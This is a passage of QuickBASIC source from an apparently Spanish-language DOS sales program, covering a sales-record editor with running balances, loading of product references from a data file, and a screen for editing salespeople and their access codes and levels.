GOSUB EditGetLine + bajabarra = 0 + GOSUB PrintBalan + + CASE CHR$(0) + "<" 'F2 + finished = true + CASE CHR$(0) + "C" 'F9 + GOSUB EditAddRecord + CASE CHR$(0) + "D" 'F10 + GOSUB EditDeleteRecord + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +EditShowCursor: + IF ed = 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + ELSE + COLOR colors(8, ColorPref), colors(9, ColorPref) + END IF + LOCATE CurrRow + 4, Col(CurrCol) + 1 + + SELECT CASE CurrCol + CASE 1 + IF CurrFig#(1) <> 0 THEN PRINT " "; CurrFig#(1); ELSE PRINT " "; + CASE 2 + IF CurrFig#(2) <> 0 THEN PRINT " "; : PRINT USING "###"; CurrFig#(2); : PRINT " " ELSE PRINT " "; + CASE 3 + IF CurrFig#(3) <> 0 THEN PRINT " "; : PRINT USING "##"; CurrFig#(3); : PRINT " "; ELSE PRINT " "; + END SELECT + + RETURN + + +EditEditItem: + + CurrRecord = CurrTopline + CurrRow - 1 + + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 63: PRINT "Fecha: "; + LOCATE 1, 63: PRINT "Fecha: " + Fecha$; + COLOR colors(8, ColorPref), colors(9, ColorPref) + GraDat = 0: Clasifica = 0 + + SELECT CASE CurrCol + CASE 1 + DO + kbd$ = GetString$(CurrRow + 4, Col(CurrCol) + 1, kbd$, new$, vis(CurrCol), max(CurrCol)) + LOOP WHILE VAL(new$) > 9 OR VAL(new$) < 1 + + CurrFig#(1) = VAL(new$) + IF RTRIM$(LTRIM$(Title$(CurrFig#(1)))) = "" THEN + + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + Box 16, 24, 19, 49 + LOCATE 17, 25: PRINT "Ese Vendedor no existe" + LOCATE 18, 27: PRINT "Verifique el n£mero" + DO + i$ = INKEY$ + LOOP WHILE i$ = "" + COLOR colors(7, ColorPref), colors(4, ColorPref) + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + CurrFig#(1) = 1 + ELSE + LOCATE 1, 35: PRINT "Vendedor: " + Trim$(Title$(CurrFig#(1))); + END IF + + GOSUB EditPutLine + GOSUB EditGetLine + + CASE 2 + + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(2) + 1, start$, new$, vis(2), max(2)) + new2# = VAL(new$) + start$ = "" + LOOP WHILE new2# >= 1001# OR new2# < 0 + CurrFig#(2) = new2# + + reg = 0: b = 1 + DO + IF Ca#(b) = CurrFig#(2) THEN + CurrString$(1) = Cb$(b) + CurrFig#(4) = Cd#(b) + Clasifica = 1: Valpu = 1 + EXIT DO + END IF + b = b + 1 + LOOP WHILE Ca#(b) <> 0 OR b <= TopeRef# + 1 + IF Clasifica = 0 THEN + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + Box 16, 24, 19, 49 + LOCATE 17, 25: PRINT "Esa Referencia no existe" + DO + i$ = INKEY$ + LOOP WHILE i$ = "" + COLOR colors(7, ColorPref), colors(4, ColorPref) + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + CurrFig#(2) = 0 + END IF + + BalTotal# = BalTotal# - Balance#(CurrRecord) + Balance#(CurrRecord) = CurrFig#(3) * CurrFig#(4) + BalTotal# = BalTotal# + Balance#(CurrRecord) + + GOSUB EditPutLine + GOSUB EditGetLine + + CASE 3 + + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(3) + 1, start$, new$, vis(3), max(3)) + new3# = VAL(new$) + start$ = "" + CurrFig#(3) = new3# + + LOOP WHILE CurrFig#(3) < 1 OR CurrFig#(3) > 99 + + BalTotal# = BalTotal# - Balance#(CurrRecord) + Balance#(CurrRecord) = CurrFig#(3) * CurrFig#(4) + BalTotal# = BalTotal# + Balance#(CurrRecord) + + GOSUB EditPutLine + GOSUB EditGetLine + + IF der <> CurrRecord THEN + ed = 1: GOSUB EditShowCursor: ed = 0: 'Oculta el cursor para obtener datos ED=1 + GOSUB EditAddRecord + END IF + + der = CurrRecord + + CASE ELSE + END SELECT + + GOSUB EditPrintLine + + RETURN + +EditMoveUp: + Valpu = 0 + 'Si La linea actual es igual a la linea minima es decir la ultima entrada. + IF CurrRow = 1 THEN + IF CurrTopline = 1 THEN + BEEP + ELSE + ScrollDown + CurrTopline = CurrTopline - 1 + GOSUB EditGetLine + GOSUB EditPrintLine + END IF + ELSE + CurrRow = CurrRow - 1 + GOSUB EditGetLine + END IF + GOSUB PrintBalan + RETURN + +EditMoveDown: + Valpu = 0 + IF (CurrRow + CurrTopline - 1) >= MaxRecord THEN + BEEP + ELSE + IF CurrRow = 16 THEN + ScrollUp + CurrTopline = CurrTopline + 1 + GOSUB EditGetLine + GOSUB EditPrintLine + ELSE + CurrRow = CurrRow + 1 + GOSUB EditGetLine + END IF + END IF + GOSUB PrintBalan + RETURN + +EditPrintLine: + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + CurrRecord = CurrTopline + CurrRow - 1 + LOCATE CurrRow + 4, 2 + IF CurrRecord = MaxRecord + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > MaxRecord THEN + PRINT u1$; + ELSE + + IF CurrFig#(1) <> 0 THEN PRINT " "; CurrFig#(1); ELSE PRINT " "; + + IF CurrFig#(2) <> 0 THEN PRINT "³ "; : PRINT USING "###"; CurrFig#(2); : PRINT " "; ELSE PRINT "³ "; + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN PRINT "³ " + CurrString$(1) + " "; ELSE PRINT "³ "; + + IF CurrFig#(3) <> 0 THEN PRINT "³ "; : PRINT USING "##"; CurrFig#(3); : PRINT " "; ELSE PRINT "³ "; + + IF CurrFig#(4) <> 0 THEN PRINT "³ "; : PRINT USING u2$; CurrFig#(4); : PRINT " ³"; ELSE PRINT "³ ³"; + + IF Balance#(CurrRecord) <> 0 THEN PRINT USING u3$; Balance#(CurrRecord); ELSE PRINT " " + + IF bajabar <> 1 THEN GOSUB EditPrintBalances + + +END IF + +RETURN + +EditPrintBalances: + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR tAt = 1 TO 16 + CurrRecord = CurrTopline + tAt - 1 + IF CurrRecord <= MaxRecord THEN + LOCATE 4 + tAt, 67 + PRINT USING u3$; Balance#(CurrTopline + tAt - 1); + END IF + NEXT tAt + CurrRecord = CurrTopline + CurrRow - 1 + +PrintBalan: + + IF bajabarra <> 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + LOCATE 21, 1: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ" + Box 22, 1, 24, 80 + LOCATE 23, 2: PRINT CurrString$(1) + LOCATE 23, 25: PRINT "³"; + LOCATE 23, 26: PRINT USING u9$; PvpTotal#; + PRINT "³"; + PRINT USING u9$; PcTotal#; + PRINT "³"; + PRINT USING u9$; BalTotal#; + END IF + + RETURN + +EditDeleteRecord: + bajabar = 1 + IF MaxRecord = RecordMin THEN + BEEP + ELSE + CurrRecord = CurrTopline + CurrRow - 1 + MaxRecord = MaxRecord - 1 + A = CurrRecord + BalTotal# = BalTotal# - Balance#(CurrRecord) + WHILE A <= MaxRecord + GET #1, A + 2 + RecordMin + PUT #1, A + 1 + RecordMin + Balance#(A) = Balance#(A + 1) + A = A + 1 + WEND + + Balance#(MaxRecord + 1) = 0 + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditPrintWholeScreen + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord > MaxRecord THEN + GOSUB EditMoveUp + END IF + bajabar = 0 + GOSUB EditGetLine + + END IF + RETURN + +EditAddRecord: + bajabar = 1 + CurrRecord = CurrTopline + CurrRow - 1 + + A = MaxRecord + + tb = 0 + WHILE A > CurrRecord + + GET #1, A + 1 + RecordMin + PUT #1, A + 2 + RecordMin + + Balance#(A + 1) = Balance#(A) + + A = A - 1 + + WEND + + + Balance#(CurrRecord + 1) = 0 + + MaxRecord = MaxRecord + 1 + LSET IoVen$ = STR$(0) + LSET IoRef$ = STR$(0) + LSET IoUnd$ = STR$(0) + CurrString$(1) = "": CurrFig#(4) = 0 + + PUT #1, CurrRecord + 2 + RecordMin + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditPrintWholeScreen + + GOSUB EditGetLine + RETURN + +EditPrintWholeScreen: + vex = 0 + + temp = CurrRow + FOR CurrRow = 1 TO 16 + CurrRecord = CurrTopline + CurrRow - 1 + + IF MaxRecord <> RecordMin OR vex = 0 THEN + IF CurrRecord <= MaxRecord THEN + GOSUB EditGetLine + END IF + END IF + GOSUB EditPrintLine + NEXT CurrRow + CurrRow = temp + RETURN + + +EditPutLine: + Graba = CurrRecord + RecordMin + CurrRecord = CurrTopline + CurrRow - 1 + LSET IoDia$ = CurrDia$ + LSET IoVen$ = LTRIM$(RTRIM$(STR$(CurrFig#(1)))) + LSET IoRef$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IoUnd$ = LTRIM$(RTRIM$(STR$(CurrFig#(3)))) + PUT #1, CurrRecord + RecordMin + RETURN + + +EditGetLine: + Graba = CurrRecord + RecordMin + CurrRecord = CurrTopline + CurrRow - 1 + GET #1, CurrRecord + RecordMin + dia$ = IoDia$ + CurrFig#(1) = VAL(IoVen$) + CurrFig#(2) = VAL(IoRef$) + CurrFig#(3) = VAL(IoUnd$) + compufech$ = mes$ + "-" + dia$ + "-" + an$ + LOCATE 1, 63: PRINT "Fecha: "; + LOCATE 1, 63: PRINT "Fecha: " + compufech$; + RETURN + + +CargaReferencias: + +CLS +Box 14, 28, 17, 51 + +center 15, "Cargando referencias" +center 16, "Por favor, espere..." + + + file2$ = "Ref#." + Cvit$(e%) + + OPEN file2$ FOR RANDOM AS #2 LEN = 54 + + FIELD #2, 6 AS IRf$, 22 AS IDsc$, 3 AS ICC$, 8 AS IPVP$, 8 AS IPC$ + FIELD #2, 2 AS vld$, 5 AS IMxRcrd$ + + + + GET #2, 1 + IF vld$ <> "SI" THEN + LSET IRf$ = STR$(0) + LSET IDsc$ = "" + LSET ICC$ = STR$(0) + LSET IPVP$ = STR$(0) + LSET IPC$ = STR$(0) + PUT #2, 2 + LSET vld$ = "SI" + LSET IMxRcrd$ = "1" + PUT #2, 1 + END IF + TopeRef# = VAL(IMxRcrd$) + + + b = 1 + WHILE b <= TopeRef# + GET #2, b + 1 + Ca#(b) = VAL(IRf$) + Cb$(b) = IDsc$ + Cc#(b) = VAL(ICC$) + Cd#(b) = VAL(IPVP$) + Ce#(b) = VAL(IPC$) + b = b + 1 + WEND + + +CLOSE #2 +RETURN + +END SUB + +'Trin$: +' Remove null and spaces from the end of a string. +FUNCTION Trim$ (x$) + + IF x$ = "" THEN + Trim$ = "" + ELSE + lastChar = 0 + FOR A = 1 TO LEN(x$) + y$ = MID$(x$, A, 1) + IF y$ <> CHR$(0) AND y$ <> " " THEN + lastChar = A + END IF + NEXT A + Trim$ = LEFT$(x$, lastChar) + END IF + +END FUNCTION + +SUB Vende (r%) + Save = 0 + + 'Information about each column + REDIM help$(4), Col(4), vis(4), max(4), Title$(9), Desc$(9), Ca$(9), AType$(9) + 'Draw the screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + + OPEN "Vendedor" + Cvit$(r%) FOR RANDOM AS #1 LEN = 69 + + FIELD #1, 20 AS T$, 43 AS D$, 3 AS C$, 1 AS A$ + FIELD #1, 2 AS valid$ + + FOR A = 1 TO 9 + GET #1, A + 1 + Title$(A) = T$ + Desc$(A) = D$ + Ca$(A) = C$ + AType$(A) = A$ + NEXT A + CLOSE + + + Box 2, 1, 14, 80 + Box 15, 1, 18, 80 + + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80) + LOCATE 1, 4: PRINT "Editor de Vendedores, Empresa: " + Trim$(Account(r%).Title); + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 3, 2: PRINT "No³ Vendedor/a ³ Otros Datos ³ C.A ³N.A" + LOCATE 4, 2: PRINT "ÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄ" + u$ = "##³\ \³\ \³\ \³ ! " + + FOR A = 5 TO 13 + LOCATE A, 2 + x = A - 4 + PRINT USING u$; x; Title$(x); Desc$(x); " " + Ca$(x); AType$(x); + + NEXT A + + 'Initialize variables + help$(1) = " Nombre del Vendedor/a " + help$(2) = " Direcci¢n, n§ Telefono, etc... " + help$(3) = " Codigo Personal de Acceso al Sistema " + help$(4) = " Acceso al Sistema ( Nivel 1 a 5 ) " + Col(1) = 5: Col(2) = 26: Col(3) = 72: Col(4) = 78 + vis(1) = 20: vis(2) = 43: vis(3) = 3: vis(4) = 1 + max(1) = 20: max(2) = 43: max(3) = 3: max(4) = 1 + + finished = false + CurrRow = 1 + CurrCol = 1 + PrintHelpLine help$(CurrCol) + "| " + 'Loop until F2 or is pressed + DO + GOSUB EditAccountsShowCursor 'Show Cursor + DO 'Wait for key + kbd$ = INKEY$ + LOOP UNTIL kbd$ <> "" + IF kbd$ >= " " AND kbd$ < "~" THEN 'If legal, edit item + + COLOR colors(8, ColorPref), colors(9, ColorPref) + ok = false + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(CurrCol), start$, end$, vis(CurrCol), max(CurrCol)) + SELECT CASE CurrCol + CASE 1: Title$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 2: Desc$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 3: Ca$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 4: AType$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE ELSE + + END SELECT + start$ = "" + + IF CurrCol = 4 THEN + x$ = UCASE$(end$) + IF VAL(x$) >= 1 OR VAL(x$) <= 5 THEN + ok = true + ELSE + BEEP + END IF + ELSE + ok = true + END IF + + LOOP UNTIL ok + END IF + + hide = 1: GOSUB EditAccountsShowCursor: hide = 0 'Hide Cursor so it can move + 'If it needs to + SELECT CASE kbd$ + CASE CHR$(0) + "H" 'Up Arrow + CurrRow = CurrRow - 1 + IF CurrRow <= 0 THEN CurrRow = 9 + + CASE CHR$(0) + "P" 'Down Arrow + CurrRow = (CurrRow) MOD 9 + 1 + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left or Shift+Tab + CurrCol = (CurrCol + 4) MOD 3 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right or Tab + CurrCol = (CurrCol) MOD 4 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "<" 'F2 + finished = true + Save = 1 + CASE CHR$(27) 'Esc + finished = true + Save = false + CASE CHR$(13) 'Return + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + IF Save = 1 THEN + + OPEN "Vendedor" + Cvit$(r%) FOR RANDOM AS #1 LEN = 69 + FIELD #1, 20 AS T$, 43 AS D$, 3 AS C$, 1 AS A$ + FIELD #1, 2 AS valid$ + FOR A = 1 TO 9 + LSET T$ = Title$(A) + LSET D$ = Desc$(A) + LSET C$ = Ca$(A) + LSET A$ = AType$(A) + PUT #1, A + 1 + NEXT A + CLOSE + + END IF + + EXIT SUB + + +EditAccountsShowCursor: + + IF hide = 0 THEN COLOR colors(8, ColorPref), colors(9, ColorPref) ELSE COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE CurrRow + 4, Col(CurrCol) + SELECT CASE CurrCol + CASE 1: PRINT Title$(CurrRow) + CASE 2: PRINT Desc$(CurrRow) + CASE 3: PRINT Ca$(CurrRow) + CASE 4: PRINT AType$(CurrRow) + CASE ELSE + END SELECT + + RETURN + +END SUB +